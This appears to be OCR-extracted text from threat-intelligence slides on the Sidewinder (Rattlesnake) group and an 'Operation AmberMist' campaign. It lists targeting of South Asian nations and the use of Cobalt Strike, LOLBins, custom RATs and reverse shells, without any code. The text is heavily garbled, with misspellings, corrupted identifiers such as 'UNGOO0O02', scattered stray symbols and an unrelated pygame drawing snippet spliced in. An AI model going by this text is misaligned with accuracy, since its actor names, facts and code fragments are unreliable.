5 Sidewinder (Malware) o1 [11 f21 {31 141
=Domal1 8ummary Observed on: Maltrail [4
Aliases: T-APT-04, Rattlesnake
For parent domain: i i
No HTTP or HTTPS results.

Operation AmberMist
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Conclusion

o UNGOO0O02 targets South Asian Nations primarily.
0
[

o Multiple Overlaps between AmberMist and Cobalt\Whisper. o=

-

O O
o Campaigns active since May 2024 till date. @

z

o Sophisticated lures targeting professionals across multiple-industries. — ||

o Heauvily relies on Cobalt Strike, LOLBINSs, custom-RATs & reverse shell. g

o Imitates Chinese-state sponsored campaigns with evolving TTPs. E
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https://x.com/ElementalX2
https://xelemental.github.io/
https://www.linkedin.com/in/subhajeet-singha-b238951a9/

Jakarta
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= =

[pygame.draw.line(screen, (150, 150, 150),
(400, 300), (400 +100 * pygame.math.cos
(a+i*60),300 +100 * pygame.math.sin
(a+i*60)), 8)foriinrange(6)]

Thank you
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